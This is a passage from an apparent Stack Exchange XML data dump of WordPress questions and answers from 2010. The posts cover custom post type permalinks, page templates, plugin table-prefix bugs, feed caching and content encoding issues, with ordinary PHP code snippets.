&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Find a way to append (or rather prefix) my 'product-id' value to the Custom Post Type permalink&lt;/em&gt;&lt;br&gt;&#xA;We could have something like http:///product-a/product-releases/release-x. I would have to accept that releases live somewhat outside of the 'natural' hierarchy which would be http:///products/product-a/product-releases/release-x.&lt;br&gt;&#xA;I could go even further by prefixing with 'products' - something like /products/%product-id%/%product-release%/. However, I'm wondering if this Rewrite Rule would not clash with the 'pages' created under the 'products' page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input appreciated.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;[Update]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I implemented the approach proposed by bobdiaes. This works fine for my content type however this will clash with the WP pages that are mixed in the hierarchy.&#xA;Using bobdiaes piece of code, I came up with the following Permaling for my product-release custom post type:&lt;br&gt;&#xA;&lt;code&gt;/products/%product-id%/product-releases/%product-release%&lt;/code&gt;&lt;br&gt;&#xA;I will therefore have the proper product URL for displaying the detail of a release for a specific product. ie: &lt;code&gt;/products/my-great-product/product-releases/release-1-5/&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to have some WP pages in the mix:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/products/my-great-product/&lt;/code&gt;should provide an overview of the product.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/products/my-great-product/product-releases/&lt;/code&gt;should display the list of releases + the details of the latest release.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At first, it sounds quite natural to create WP pages to do what I need. I will organize my page hierarchy so that the pages fit in the exact URL scheme. However, this approach will clash with the URL rewriting used for the &quot;product-release&quot; Custom Content Type and I won't be able to browse the pages (404).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, well, well...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;So what are my options now&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Give up the idea of using WP&lt;/em&gt;&lt;br&gt;&#xA;Well, I think I'm going to insist some more. Beside this problem, there are many things to like with WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Use Pod CMS&lt;/em&gt;&lt;br&gt;&#xA;Though I haven't tested it yet. It sounds like a nice framework/tool. However, I would loose the ability to easily translate my content using WPML.&lt;br&gt;&#xA;The fact that they will be able to use custom post types rather than their own table in version 2.0 will certainly let them rely on current plugins for translation purposes.&#xA;What they are preparing for version 2.0 sounds interesting. They will be able to use Custom Post Type instead of their own tables.&lt;br&gt;&#xA;Pod CMS 2.0 could be &lt;strong&gt;THE SOLUTION&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Using WP pages instead of a 'product-release&quot; Custom Post Type&lt;/em&gt;&lt;br&gt;&#xA;The idea here would be to create a page for each product release (with product-releases page as the parent). I suppose it must be easy to loop through child pages for displaying the list of releases.&lt;br&gt;&#xA;Obviously, it has quite some drawbacks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The current admin page interface may not be very practical to handle hundreds of pages...&lt;/li&gt;&#xA;&lt;li&gt;Because the page is already a specialized Custom Post Type (as far as I understand), I would have to remember the specific custom fields I need each time I use a page like a pseudo-content type unless I want to create all fields that may be needed all over the web site. Quite an horrible solution if you ask me.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Replace WP pages by some Custom Post Type&lt;/em&gt;&lt;br&gt;&#xA;Not sure about the possible rewrite rules clash but here is the idea. Instead of having an overview page, I could come up with a 'product-overview' Custom Post Type and use a permalink rewriting rule the same way I did for 'product-release' Custom Post Type.&#xA;Will update with my findings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm not the only facing this WordPress URL hell. Though I have to admit that the Generalisation of a &quot;post&quot; into a custom post type is quite clever, the permalink stuff comes with its own constraints.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A word of caution - being new with WP, I may have overlooked something completely obvious&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;[Update]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, as frustrating as it may be, it seems that this is just impossible. Well there is certainly a solution that involves some tricky URL rewriting but certainly nothing trivial for an approach that is however quite common.&lt;br&gt;&#xA;Basically, I believe at this stage, that one should tie to a rather simple URL scheme.&#xA;Will try the wordpress forum, but I don't have much hope.&lt;/p&gt;&#xA;" OwnerUserId="1228" LastEditorUserId="1228" LastEditorDisplayName="" LastEditDate="2010-10-15T19:07:16.697" LastActivityDate="2010-12-13T12:57:17.217" Title="How to handle a hierarchy with custom post types" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;hierarchical&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="2840" PostTypeId="1" AcceptedAnswerId="2841" CreationDate="2010-10-13T03:43:36.420" Score="2" ViewCount="273" Body="&lt;p&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; This question was previously titled &lt;em&gt;&quot;How to add multiple custom page in wordpress&quot;&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a WordPress site and right now I have a custom home page and others are default WordPress pages. Now I want to add one &lt;strong&gt;another custom page&lt;/strong&gt; for some landing page. It will not be sub-page. This page's layout &amp;amp; design is different. How Can I add this to my wordpress website?&lt;/p&gt;&#xA;" OwnerUserId="1176" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-13T05:08:51.897" LastActivityDate="2010-10-13T05:08:51.897" Title="Assigning Multiple Layout Designs with Custom Pages in WordPress?" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;design&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2841" PostTypeId="2" ParentId="2840" CreationDate="2010-10-13T05:04:40.993" Score="1" ViewCount="" Body="&lt;p&gt;Sounds like what you want is a &lt;a href=&quot;http://justintadlock.com/archives/2009/03/13/page-templates-the-untapped-potential-of-wordpress&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Page Template&lt;/strong&gt;&lt;/a&gt; It's quite simple, if you want to call your layout &lt;strong&gt;&quot;My Special Layout&quot;&lt;/strong&gt; just create a file in your Theme Directory calling it whatever you like &lt;em&gt;(I'd call it &quot;page-my-special-layout.php&quot; but that's not required)&lt;/em&gt; and add the following comment to the top of the template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: My Special Layout&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the comment put in whatever HTML you need to design your desired page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once you have the Template in your Theme directory and you load the Page Editor in the WordPress admin console you'll be given the option to assign it as your Page Template; simple as that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101013-010144.png&quot; alt=&quot;WordPress Page Editor with Page Template Selection Highlighted&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-13T05:04:40.993" CommentCount="8" />
  <row Id="2842" PostTypeId="2" ParentId="2839" CreationDate="2010-10-13T08:16:23.300" Score="0" ViewCount="" Body="&lt;p&gt;I think you need to hook on the get_permalink() function. This article I've saved in my custom post type notes might be of help: &lt;a href=&quot;http://shibashake.com/wordpress-theme/add-custom-taxonomy-tags-to-your-wordpress-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/add-custom-taxonomy-tags-to-your-wordpress-permalinks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1222" LastActivityDate="2010-10-13T08:16:23.300" CommentCount="5" />
  <row Id="2843" PostTypeId="2" ParentId="2785" CreationDate="2010-10-13T08:55:43.687" Score="0" ViewCount="" Body="&lt;p&gt;I think the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin does what you need to do. You will have to write some of the logic yourself, but it provides a nice API for many-to-many relationships between posts (of any type).&lt;/p&gt;&#xA;" OwnerUserId="1222" LastActivityDate="2010-10-13T08:55:43.687" />
  <row Id="2844" PostTypeId="2" ParentId="1932" CreationDate="2010-10-13T09:03:08.460" Score="0" ViewCount="" Body="&lt;p&gt;I have this same problem. But, unlike everyone else, after making these changes I still have the header floating RIGHT in IE9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problems with Firefox, Opera or Safari.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still have not found another fix.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-13T09:03:08.460" />
  <row Id="2845" PostTypeId="2" ParentId="2838" CreationDate="2010-10-13T09:24:41.327" Score="0" ViewCount="" Body="&lt;p&gt;Well, this might sound like old-fashioned usenet-esque reply, but what does your error_log say about that HTTP 500 error (assuming you're running it under more-less regular Apache)?&lt;/p&gt;&#xA;" LastActivityDate="2010-10-13T09:24:41.327" />
  <row Id="2846" PostTypeId="1" AcceptedAnswerId="3025" CreationDate="2010-10-13T10:49:04.530" Score="0" ViewCount="294" Body="&lt;p&gt;I'm getting image fields wrapped in  tags and would like to remove the surrounding divs, but only if they are of class &quot;mceTemp&quot;. Anyone know of an efficient way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, should those Divs even be there?&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-18T22:50:16.720" Title="How can I remove &lt;div =&quot;mceTemp&quot;&gt; using built in wordpress filters" Tags="&lt;tinymce&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="2847" PostTypeId="1" CreationDate="2010-10-13T12:37:20.920" Score="0" ViewCount="128" Body="&lt;p&gt;Can somebody please assist as to why I am getting the following special character � in my WordPress content pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how it got in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this special character at this url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ppsservice.com.au/pool-and-spa-maintenance&quot; rel=&quot;nofollow&quot;&gt;PPS Victoria&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then just scroll down to &quot;Restoration and Recovery Services&quot; sub-section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:20:04.367" LastActivityDate="2011-06-07T14:20:04.367" Title="Special Character Appearing in my WordPress Pages Content" Tags="&lt;page&gt;&lt;errors&gt;&lt;encoding&gt;" AnswerCount="2" />
  <row Id="2848" PostTypeId="2" ParentId="2847" CreationDate="2010-10-13T13:09:36.403" Score="3" ViewCount="" Body="&lt;p&gt;My guess is that you pasted something from a Windows environment and that's the &lt;code&gt;CR&lt;/code&gt; (carriage return, I think) character. I'd go into the editor and just remove those line breaks. That should fix the problem. Also, you might look into standardizing the content type meta tag. You've got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta charset=&quot;UTF-8&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could be wrong about this, but in XHTML (the DTD of that page), I think you need to use this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your WordPress theme it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=&amp;lt;?php bloginfo( 'charset' ); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-13T13:09:36.403" CommentCount="2" />
  <row Id="2849" PostTypeId="1" AcceptedAnswerId="2860" CreationDate="2010-10-13T13:44:56.737" Score="0" ViewCount="280" Body="&lt;p&gt;I can get custom posts to display on  my site.  However, I want to filter the posts by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom posts are displaying on this page: &#xA;&lt;a href=&quot;http://www.africanhealthleadership.org/resources/toolkit/&quot; rel=&quot;nofollow&quot;&gt;http://www.africanhealthleadership.org/resources/toolkit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom posts are the tools i.e. Desk Research and Assessment Tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Preparation, I only want to show Desk Research.  However ALL the tools are displaying under Preparation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code to get the tools to display. Clearly category_name is not working, but I am not sure how to fix. Thank you for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;` 'portfolio', 'category_name' =&gt; 'preparation' ) ); ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have_posts() ) : $loop-&gt;the_post(); ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_title( '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;`&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2010-10-19T20:48:58.450" Title="Displaying custom posts by category" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="2850" PostTypeId="1" AcceptedAnswerId="2917" CreationDate="2010-10-13T13:59:42.953" Score="0" ViewCount="401" Body="&lt;p&gt;I get 404 status when fetching images, and the http still contains that image. Image shows up in a browser, but the 404 code breaks some applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;calls to wp-content/uploads/ are redirected in .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteRule (.*) /index.php?getfile=$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why do I get a 404 status if the image is in there and is served?  &lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-10-15T07:51:46.233" Title="404 when fetching image from wp-content/uploads/" Tags="&lt;404-error&gt;&lt;mod-rewrite&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2851" PostTypeId="1" AcceptedAnswerId="2852" CreationDate="2010-10-13T14:40:20.250" Score="2" ViewCount="702" Body="&lt;p&gt;Attempting to create a horizontal scroller using post_thumbnail's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a filterable portfolio section using this tutorial: &lt;a href=&quot;http://www.wearepixel8.com/blog/filterable-portfolio&quot; rel=&quot;nofollow&quot;&gt;http://www.wearepixel8.com/blog/filterable-portfolio&lt;/a&gt; but my attempts to make it a horizontal scroller have failed, i've tried several different jQuery image scroller plugins to attempt it but none have worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give advice on how to achieve what i'm looking to do? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2010-12-30T17:40:21.277" Title="Horizontal scroller with post_thumbnail's" Tags="&lt;jquery&gt;&lt;post-thumbnails&gt;" AnswerCount="3" />
  <row Id="2852" PostTypeId="2" ParentId="2851" CreationDate="2010-10-13T14:56:06.547" Score="1" ViewCount="" Body="&lt;p&gt;I did it on a few sites. An example is below. If you want the jQuery code for it, I can give it you. It is a list of post thumbnails with their post titles shown below them.&#xA;&lt;a href=&quot;http://www.paragonhondainfo.com&quot; rel=&quot;nofollow&quot;&gt;paragonhondainfo.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-13T14:56:06.547" CommentCount="6" />
  <row Id="2854" PostTypeId="2" ParentId="2851" CreationDate="2010-10-13T15:29:41.893" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://flowplayer.org/tools/scrollable/index.html&quot; rel=&quot;nofollow&quot;&gt;Scrollable&lt;/a&gt; is quite usable: Good examples, clear documentation. You have to move some CSS rules into your script tough to keep everything working for people without JavaScript.&#xA;I did that just last night. :) Took more time than expected, but the result is really smooth.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-10-13T15:29:41.893" />
  <row Id="2855" PostTypeId="1" AcceptedAnswerId="2857" CreationDate="2010-10-13T15:32:51.747" Score="1" ViewCount="192" Body="&lt;p&gt;I'm trying out the SharDB plugin, but it doesn't seem to be respecting my CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE declarations -- it is querying &lt;code&gt;$shardb_prefix.users&lt;/code&gt; instead of my custom table name. Anyone know if this plugin is supposed to support the CUSTOM_USER_TABLE definitions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1220" LastActivityDate="2010-10-13T15:50:06.353" Title="custom user tables supported in SharDB plugin?" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="2856" PostTypeId="2" ParentId="2847" CreationDate="2010-10-13T15:34:03.367" Score="0" ViewCount="" Body="&lt;p&gt;It looks like you're manually adding line breaks within paragraphs to control the shape the text. You should only need to use newlines to separate paragraphs. The best practice is to allow the dimensions of &lt;code&gt;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&lt;/code&gt; determine the length of each line of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that you copied the text for this page from another source and pasted it into the WordPress editor. Unfortunately, this method is prone to the types of problems you've described. The solution is to use the &lt;a href=&quot;http://en.support.wordpress.com/visual-editor/#pasting-text&quot; rel=&quot;nofollow&quot;&gt;Paste as Plain Text&lt;/a&gt; or &lt;a href=&quot;http://en.support.wordpress.com/microsoft-word/&quot; rel=&quot;nofollow&quot;&gt;Paste from Word&lt;/a&gt; features provided in the WordPress editor's &lt;a href=&quot;http://en.support.wordpress.com/visual-editor/#row-2&quot; rel=&quot;nofollow&quot;&gt;kitchen sink&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-13T15:34:03.367" />
  <row Id="2857" PostTypeId="2" ParentId="2855" CreationDate="2010-10-13T15:50:06.353" Score="1" ViewCount="" Body="&lt;p&gt;Ok, looking into this, I found a little bug in the tables function (beginning on line 1088) in the db.php script file that comes with SharDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was this bit of code that was the problem (starting on line 1114 of db.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $tables['users'] ) ) {&#xA;    if( defined( 'CUSTOM_USER_TABLE' ) ) &#xA;        $pre_tables['users'] = CUSTOM_USER_TABLE;&#xA;    if ( defined( 'CUSTOM_USER_META_TABLE' ) ) &#xA;        $pre_tables['usermeta'] = CUSTOM_USER_META_TABLE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See, it does check before it returns the tables list to see if CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE are defined, and overwrites the default values if they are. However the check was not running in the first place because of the &lt;code&gt;isset( $tables['users'] )&lt;/code&gt; check on line 114. $tables is an array of table names, 'users' is one of the values in the array, so $tables['users'] is never set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So change line 114 to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $pre_tables['users'] ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and voila. You're all set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm gonna go find the plugin author now and report the bug!)&lt;/p&gt;&#xA;" OwnerUserId="1220" LastActivityDate="2010-10-13T15:50:06.353" />
  <row Id="2858" PostTypeId="1" AcceptedAnswerId="2859" CreationDate="2010-10-13T16:10:58.187" Score="2" ViewCount="99" Body="&lt;p&gt;Given the code below how would I account for the table prefix that can change from installation to installation? Is there a better way to write it than an SQL query? Is there a variable I've missed that provides the table prefix for times like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// setting posts with current date or older to draft&#xA;if (!wp_next_scheduled('sfn_expire_hook')){&#xA;    wp_schedule_event( time(), 'hourly', 'sfn_expire_hook');&#xA;}&#xA;add_action( 'sfn_expire_hook', 'sfn_show_expire');&#xA;function sfn_show_expire(){&#xA;    global $wpdb;&#xA;    $server_time = date('mdy');&#xA;    $result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM GrandDn4wP_posts WHERE post_type = 'show' AND post_status = 'publish'&quot;);&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID);&#xA;        if ( $server_time &amp;gt; $show_time ){&#xA;           $my_post = array();&#xA;           $my_post['ID'] = $a-&amp;gt;ID;&#xA;           $my_post['post_status'] = 'draft';&#xA;           wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-13T16:29:37.923" Title="Taking WordPress table prefixes into account" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="2859" PostTypeId="2" ParentId="2858" CreationDate="2010-10-13T16:15:48.127" Score="5" ViewCount="" Body="&lt;p&gt;You can rewrite the code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// setting posts with current date or older to draft&#xA;if (!wp_next_scheduled('sfn_expire_hook')){&#xA;    wp_schedule_event( time(), 'hourly', 'sfn_expire_hook');&#xA;}&#xA;add_action( 'sfn_expire_hook', 'sfn_show_expire');&#xA;function sfn_show_expire(){&#xA;    global $wpdb;&#xA;    $server_time = date('mdy');&#xA;    $result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE post_type = 'show' AND post_status = 'publish'&quot;);&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID);&#xA;        if ( $server_time &amp;gt; $show_time ){&#xA;           $my_post = array();&#xA;           $my_post['ID'] = $a-&amp;gt;ID;&#xA;           $my_post['post_status'] = 'draft';&#xA;           wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but a better way to write it would be to use the function get_posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// setting posts with current date or older to draft&#xA;if (!wp_next_scheduled('sfn_expire_hook')){&#xA;    wp_schedule_event( time(), 'hourly', 'sfn_expire_hook');&#xA;}&#xA;add_action( 'sfn_expire_hook', 'sfn_show_expire');&#xA;function sfn_show_expire(){&#xA;    $server_time = date('mdy');&#xA;    $result = get_posts( array( post_type =&amp;gt; 'show', post_status =&amp;gt; 'publish' ) );&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID);&#xA;        if ( $server_time &amp;gt; $show_time ){&#xA;           $my_post = array();&#xA;           $my_post['ID'] = $a-&amp;gt;ID;&#xA;           $my_post['post_status'] = 'draft';&#xA;           wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-13T16:29:37.923" LastActivityDate="2010-10-13T16:29:37.923" CommentCount="3" />
  <row Id="2860" PostTypeId="2" ParentId="2849" CreationDate="2010-10-13T16:26:45.663" Score="1" ViewCount="" Body="&lt;p&gt;Can you be more specific?do you mean &lt;code&gt;custom post type&lt;/code&gt; or &lt;code&gt;custom query&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK when using custom post type you cannot directly use &lt;code&gt;category_name&lt;/code&gt; since your post are treated in different way. You have to add custom taxonomies in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type&lt;/a&gt; and then register them with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register_taxonomy()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;note: please correct me if my statement above is wrong, I'm not go deep with custom post type, at least for now.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;say you have custom post type named &lt;code&gt;portfolio&lt;/code&gt;, custom taxonomy named &lt;code&gt;toolkit&lt;/code&gt; with following categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;preparation&lt;/li&gt;&#xA;&lt;li&gt;assessment&lt;/li&gt;&#xA;&lt;li&gt;leadership&lt;/li&gt;&#xA;&lt;li&gt;innovation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and you want to show all post in &lt;code&gt;preparation&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  query_posts( array( 'post_type' =&amp;gt; 'portfolio', 'toolkit' =&amp;gt; 'preparation' ) );&#xA;  //the loop start here&#xA;  if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;?&amp;gt;&#xA;  &amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; endif; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-13T16:26:45.663" CommentCount="1" />
  <row Id="2861" PostTypeId="1" AcceptedAnswerId="2863" CreationDate="2010-10-13T17:03:06.763" Score="1" ViewCount="173" Body="&lt;p&gt;I'm using the built-in SimplePie, AKA &lt;code&gt;fetch_feed()&lt;/code&gt;, to retrieve a feed, and I want to be able to adjust the cache time from an admin menu. &lt;a href=&quot;http://simplepie.org/wiki/&quot; rel=&quot;nofollow&quot;&gt;SimplePie&lt;/a&gt; itself is well documented, but not so much the WordPress implementation of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the best way to set the cache duration?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-10-13T17:13:45.663" Title="How to set the cache for the built-in SimplePie feed parser?" Tags="&lt;rss&gt;&lt;cache&gt;&lt;simplepie&gt;&lt;fetch-feed&gt;" AnswerCount="1" />
  <row Id="2862" PostTypeId="1" CreationDate="2010-10-13T17:03:52.447" Score="0" ViewCount="197" Body="&lt;p&gt;I am looking for a digtal alarm clock widget since a long time for my wordpress site. It should be configurable in the GUI as well. Also it should have no flash because the ipad and iphone do not support flash.I couldnt find in the widgets and plugins area so i tried the google gadgets, it was having other issues. Can anyone of you help me in this please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-10-15T16:16:54.207" Title="digital alarm clock widget" Tags="&lt;3.0.1&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="2863" PostTypeId="2" ParentId="2861" CreationDate="2010-10-13T17:13:45.663" Score="1" ViewCount="" Body="&lt;p&gt;Cache duration value (defaults to 43200 seconds) is set when feed object is generated and passed through &lt;code&gt;wp_feed_cache_transient_lifetime&lt;/code&gt; filter with additional argument being feed URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows to conveniently filter it both globally and for specific feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/feed.php#L522&quot; rel=&quot;nofollow&quot;&gt;fetch_feed() source&lt;/a&gt; for this and other hooks you can use to modify its behavior.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-13T17:13:45.663" CommentCount="3" />
  <row Id="2865" PostTypeId="2" ParentId="2838" CreationDate="2010-10-13T18:17:30.143" Score="1" ViewCount="" Body="&lt;p&gt;Any odds you've zillions of pages or terms? If so, look no further. WP menus just don't scale when loads of content is present.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-13T18:17:30.143" CommentCount="1" />
